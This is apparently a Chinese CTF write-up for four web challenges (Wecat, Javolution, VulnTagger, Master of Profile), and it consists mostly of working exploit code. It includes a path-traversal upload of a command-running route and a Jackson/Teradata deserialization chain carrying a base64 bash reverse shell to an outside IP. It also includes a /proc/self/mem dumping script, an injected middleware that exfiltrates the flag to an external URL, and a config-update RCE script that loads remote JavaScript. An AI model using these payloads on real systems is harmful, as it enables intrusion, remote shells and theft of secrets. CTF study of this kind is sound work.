Wecat 考点:
一开始看这一题的代码感觉还挺难的,结果仔细一看发现非常之简单啊。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const JsonWebToken = require ('../module/jwt' )const jwt = new JsonWebToken ()module .exports = { verifyToken : async (ctx, next) => { if (/(login|sign|static)/g .test (ctx.url )) return next () const verify = await jwt.tokenVerify (ctx) ctx.status = 200 if (verify === 401 ) { ctx.body = { msg : '身份认证已过期' , error : true , type : verify } } else { await next () } } }
开局我看到了个鉴权的模块,首先key也给你了,然后还加了个没用的if。然后我注意到了dockerfile一个启动文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 FROM node:alpineWORKDIR /app COPY server . COPY flag /flag COPY readflag /readflag RUN chmod 400 /flag RUN chmod +xs /readflag RUN adduser -D player RUN chown -R player:player /app USER playerRUN npm i EXPOSE 3800 4800 CMD ["npm" , "run" , "dev" ]
结合上述2个文件可以知道,使用的是nodemon进行的热部署启动,这时候凭直觉就是文件覆盖了。并且不需要考虑权限问题,因为session本地可以制作。直接找点位就行了。 该api有字符串拼贴,可以任意文件读取。但其实没什么用,我们最后需要rce。找文件上传的点位/wechatAPI/upload/once
该处postfix可以拼贴,可以文件覆盖和上传。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 POST /wechatAPI/upload/once HTTP/1.1 Host : localhost:8088Upgrade-Insecure-Requests : 1Sec-Fetch-User : ?1Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneCache-Control : max-age=0sec-ch-ua-platform : "macOS"Accept-Encoding : gzip, deflate, br, zstdAuthorization : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA4MzkwNzksImRhdGEiOiIxcGFzcyIsImlhdCI6MTcxMDgzNTQ3OX0.9I40cxAGdiKqjYbecTdKLuVxNOnJQA774LTP1YEHSYUUser-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Sec-Fetch-Mode : navigateSec-Fetch-Dest : documentsec-ch-ua-mobile : ?0sec-ch-ua : "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"Accept-Language : zh-CN,zh;q=0.9Content-Type : multipart/form-data; boundary=ca289939f36ddbb1998bf4928b9bf703a1a6216d638583b068fa46969e7aContent-Length : 208Content-Disposition : form-data; name="file" ; filename="getflag.js" const router = require ('@koa/router' )() const child_process = require ('child_process' ) router.get('/wechatAPI/getflag' , (ctx) => { var flag = child_process.execFileSync("/readflag" ).toString() ctx.status = 200 ctx.body = { msg : flag } }) module .exports = router.routes()Content-Disposition : form-data; name="name" getflag.js Content-Disposition : form-data; name="hash" /. Content-Disposition : form-data; name="postfix" /../src/route/getflag.js
可以看到getflag.js已经文件上传了,接下来我们需要去覆盖一下router.js 最后访问/getflag
Javolution 考点
漏洞路由出现在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @PostMapping({"/cheat"}) public String cheatPlus (String host, String data) { String secretKey = "dubhe" ; if (this .palService.getPlayer().getLevel() >= 50 && host != null ) { boolean local; try { InetAddress address = InetAddress.getByName(host); local = address.isLoopbackAddress(); } catch (Exception var7) { return "Bad Host!" ; } if (local && host.contains(secretKey)) { this .palService.genPal(data); return "You are now invincible !" ; } else { return "Only localhost is allowed to cheat !" ; } } else { return "You are too young to cheat !" ; } }
最后会直接进行base64 反序列化 直接先分析利用链如何构造。 jackson加上terajdbc依赖,rce应该看的就是tera了,科学上网一波https://github.com/luelueking/Deserial_Sink_With_JDBC?tab=readme-ov-file 这里有有关tera的利用
1 2 3 4 5 6 String command = "open -a Calculator" ;TeraDataSource dataSource = new TeraDataSource ();dataSource.setBROWSER(command); dataSource.setLOGMECH("BROWSER" ); dataSource.setDSName("127.0.0.1" ); dataSource.setDbsPort("10250" );
前半段就是getter触发getconenction 我们需要进入下面的getconenction,所以getter放置的类应该是题目给的一个类叫做 他也有getconnection。接下来让我们构造一下java17的jackson链,这里有个比较崭新的trick,我们可以通过java的option开启模块,反序列化并不会检验。。。我才知道,所以绕过什么module似乎没有意义了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xpath.internal.objects.XString;import com.teradata.jdbc.TeraDataSource;import com.teradata.jdbc.TeraDataSourceBase;import org.dubhe.javolution.pool.PalDataSource;import org.springframework.aop.framework.AdvisedSupport;import org.springframework.aop.target.HotSwappableTargetSource;import javax.sql.DataSource;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { String command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NyA8JjE=}|{base64,-d}|{bash,-i}" ; TeraDataSource dataSource = new TeraDataSource (); dataSource.setBROWSER(command); dataSource.setLOGMECH("BROWSER" ); dataSource.setDSName("8.130.24.188" ); dataSource.setDbsPort("10250" ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(dataSource); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{DataSource.class}, handler); POJONode jsonNodes = new POJONode (proxy); HotSwappableTargetSource h2 = new HotSwappableTargetSource (new XString ("123" )); HotSwappableTargetSource h1 = new HotSwappableTargetSource (jsonNodes); HashMap<Object, Object> map = SerializeUtils.makeMap(h1, h2); System.out.println(SerializeUtils.base64serial(map)); } }
利用链构造如上,需要注意的是咱们用代理区稳定触发一下getconnection,jackson调用getter是无参的。 我们再来看一下这道题的其他逻辑 首先host不为空,然后player的level需要大于50,这一个逻辑我们来看一下 攻击者可以设置自己的防御力和其他属性,最后进入battle模式 假如赢了static块里的某个对象,就获取他的level,我们要获取的是flag的level。 属性设置这里有一些限制,这里其实凭借直觉就知道应该是整数溢出了。 让防御为负数 最后你可以发现返回的是0 成功levelup进入第一层逻辑 第二层就是个ssrf了,域名要包含dubhe,你可以是dubhe.sudo.cc
,sudo.cc指向的是localhost,所以就可以了。 因此payload依次为
1 2 3 4 5 http://localhost:8888/pal/cheat?defense=2147483647 http://localhost:8888/pal/battle/flag http://localhost:8888/pal/cheat[post] host=dubhe.sudo.cc& data=base64
最终可以rce。远程环境改为java bash反弹shell即可
VulnTagger
代码审计
读mem拿key
pytorch inject RCE
在做这道题之前首先需要去了解一下pytorch这东西,他是处理模型的,pytorch是有漏洞的。https://github.com/trailofbits/fickling 他在加载模型的时候对数据会采用pickle反序列化。因此是有漏洞存在的。 一样的套路,有一个static任意文件读取接口。然后后半段其实挺明确了,利用pickle去执行python代码,但是需要管理员权限,需要个storage_key,这里套路和之前一样,是读取mem内存。 题目还给了个bot很奇怪
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from __future__ import annotationsimport functoolsimport hashlibimport subprocessimport timefrom collections.abc import Callable from logging import getLoggerfrom secrets import token_urlsafefrom typing import Literal , ParamSpec, TypeVarfrom httpx import Clientfrom rich.logging import RichHandlerlogger = getLogger(__name__) logger.addHandler(RichHandler()) logger.setLevel("DEBUG" ) client = Client(base_url="http://localhost:8080" ) _PS = ParamSpec("_PS" ) _R = TypeVar("_R" ) def catch_exception (func: Callable [_PS, _R] ) -> Callable [_PS, _R | Literal [False ]]: @functools.wraps(func ) def wrapper (*args: _PS.args, **kwargs: _PS.kwargs ) -> _R | Literal [False ]: try : return func(*args, **kwargs) except Exception as e: logger.exception(e) return False return wrapper @catch_exception def validate (difficulty: int = 4 , token: str | None = None ): resp = client.post( "/" , headers={ "x-pow-token" : (token), "x-pow-difficulty" : str (difficulty), }, ) if resp.status_code != 418 : logger.debug("Failed to validate with status code %d" , resp.status_code) return False try : data: str = resp.json()["bar" ] except Exception: logger.debug("Failed to validate with invalid JSON" ) return False return ( hashlib.sha256(token.encode() + data.encode()) .hexdigest() .startswith("0" * difficulty) ) def main (): difficulty = 4 while True : if validate(difficulty): if all (validate(difficulty) for _ in range (difficulty)): break logger.info("Failed to validate with difficulty %d" , difficulty) time.sleep(10 ) logger.info("Successfully validated with difficulty %d" , difficulty) with subprocess.Popen(["/readflag" ], stdout=subprocess.PIPE) as proc: assert proc.stdout is not None for line in proc.stdout: flag = line.decode().strip() validate(difficulty, flag) logger.info("Flag submitted" ) if __name__ == "__main__" : main()
一开始我觉得这玩意儿意义不明的。开了个死循环进程,不断地去验证pow,假如通过了就直接把flag放到请求头里。在小伙伴们的思路下知道了是要我们注入一个niceui的middleware。与以往rce不同 这里直接放一下哥哥们的exp。 首先是读取mem中的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import requestsfrom time import sleepimport urllib.requestimport reimport socketimport timefrom maps_parser import parse_proc_mapsurl = "/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/mem" maps = "http://1.95.11.7:40721/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/maps" r = requests.get(maps) print (r.text)maps_parsed = parse_proc_maps(r.text) import osos.makedirs("./out" ,exist_ok=True ) os.system("rm out/*" ) def read (start_mem_int,end_mem_int ): with socket.create_connection(("1.95.11.7" , 40721 )) as sock: request = f"GET {url} HTTP/1.1\r\nHost: 1.95.11.7:40721\r\nUpgrade-Insecure-Requests: 1\r\nRange: bytes={start_mem_int} -{end_mem_int} \r\nConnection: close\r\n\r\n" sock.sendall(request.encode()) response = b'' while t:=sock.recv(8192 ): response+=t assert b'title>VulnTagger</title' not in response return response.split(b"\r\n\r\n" ,1 )[1 ] for item in maps_parsed: if item.pathname != None : continue if item.perms != "rw-p" :continue start_mem_int,end_mem_int = int (item.addr_start,16 ),int (item.addr_end,16 ) size = end_mem_int - start_mem_int if size >= 10 *1024 *1024 : continue print (item.addr_start,item.addr_end,item.perms,size,size/1024 /1024 ,"MB" ) filename = f'{item.addr_start} _{item.addr_end} _{str (item.pathname)} ' .replace("/" ,"_" ) print (filename) outfile = os.path.join("./out" ,filename) with open (outfile,"wb" ) as outfile: outfile.write(read(start_mem_int,end_mem_int))
寻找key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import stringimport osb64charset = string.ascii_letters + string.digits + "_-" def isbase64safe (str ): return all (x in b64charset for x in str ) os.system('strings -n 22 out/* > /tmp/strings.txt' ) with open ("./false_positives.txt" ) as f: false_positives = f.readlines() false_positives = list (x.strip() for x in false_positives) result = set () with open ("/tmp/strings.txt" ,"r" ) as file: for line in file: l = line[:-1 ] if len (l) == 22 and isbase64safe(l): if l not in false_positives: result.add(l) for item in result: print (item)
获取到key后就可以跑出session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from nicegui import uifrom nicegui import app@ui.page('/other_page' ) def other_page (): app.storage.browser["is_admin" ] = True ui.label('Welcome to the other side' ) ui.link('Visit other page' , other_page) import syssecret_token=sys.argv[1 ] ui.run(port=8082 ,storage_secret=secret_token,show=False )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import subprocessimport syssecret_token=sys.argv[1 ] p = subprocess.Popen(["python3" ,"fake_session_server.py" ,secret_token]) import timetime.sleep(5 ) import requestsresp = requests.get("http://127.0.0.1:8082/other_page" ) print (resp.cookies)p.terminate()
写一个middleware,这个middleware要注入到进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import hashlibfrom logging import getLoggerfrom nicegui import appfrom fastapi import Request,Responsefrom starlette.middleware import Middlewarefrom starlette.middleware.base import BaseHTTPMiddlewareimport urllibimport stringimport jsonimport itertoolsapp.middleware_stack = None @app.middleware("http" ) async def add_process_time_header (request: Request, call_next ): def proof_of_work (difficulty, token ): import hashlib from logging import getLogger from nicegui import app from fastapi import Request,Response from starlette.middleware import Middleware from starlette.middleware.base import BaseHTTPMiddleware import urllib import string import json import itertools combinations = itertools.product(string.ascii_letters, repeat=5 ) for combination in combinations: res = "" .join(combination) if (hashlib.sha256((token + res).encode()).hexdigest().startswith("0" *difficulty)): return res import hashlib from logging import getLogger from nicegui import app from fastapi import Request,Response from starlette.middleware import Middleware from starlette.middleware.base import BaseHTTPMiddleware import urllib import string import json import itertools logger = getLogger("injected" ) response = await call_next(request) x_pow_token = request.headers.get("x-pow-token" ) x_pow_difficulty = request.headers.get("x-pow-difficulty" ) if x_pow_token and x_pow_difficulty: try : with urllib.request.urlopen("http://1.1.1.1/x/flag/" +x_pow_token) as response: pass except : pass logger.warning("pow: %s %s" %(x_pow_difficulty,x_pow_token)) pow = proof_of_work(int (x_pow_difficulty),x_pow_token) logger.warning("calculated pow:%s" %pow ) return Response(json.dumps({"bar" :pow }),418 ) return response
这样在死循环中就会识别pow然后中断,将flag放在token里。https://github.com/mix-archive/VulnTagger?tab=readme-ov-file 官方给了docker,感觉还挺难的说实话。
Master of Profile
其实没搞懂和2022的题有什么区别。 在源码中可以看到,当api-mode为false的时候,是会进入2个路由的,getlocal和get,这边直接开启文件读取了。所以很快就能定位api-token,拿到token后我们可以update conf更新配置文件去rce。 这个路由需要token验证,高版本把enable-cache关了,这是之前的rce方法。 cache会创建一个缓存文件,然后用script去运行js文件就可以rce。 高版本默认关闭了enable-cache,更新配置文件就解决了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import sysimport requestsimport reimport hashlibserver_addr = "http://127.0.0.1:25500" rs = requests.Session() resp = rs.get(server_addr + "/getlocal?path=./pref.toml" ) print (resp.text)try : token = re.findall(r'api_access_token = "(.+)"' , resp.text)[0 ] except : token = re.findall(r'api_access_token = "(.+)"' ,resp.text)[0 ] print (token)conf_file=open ("conf_file.toml" ).read().replace("TOKEN" , token) resp = rs.post(server_addr + "/updateconf" ,params={"token" :token,"type" :"direct" },data=conf_file.encode()) print (resp.text)node_addr = 'http://8.130.24.188:8886/payload.js' file_path = 'script:cache/' +hashlib.md5(node_addr.encode()).hexdigest() resp = rs.get(server_addr + "/sub" ,params={"target" :"quanx" ,"url" :node_addr}) print (resp.text)resp = rs.get(server_addr + "/sub" ,params={"target" :"quanx" ,"url" :file_path}) print (resp.text)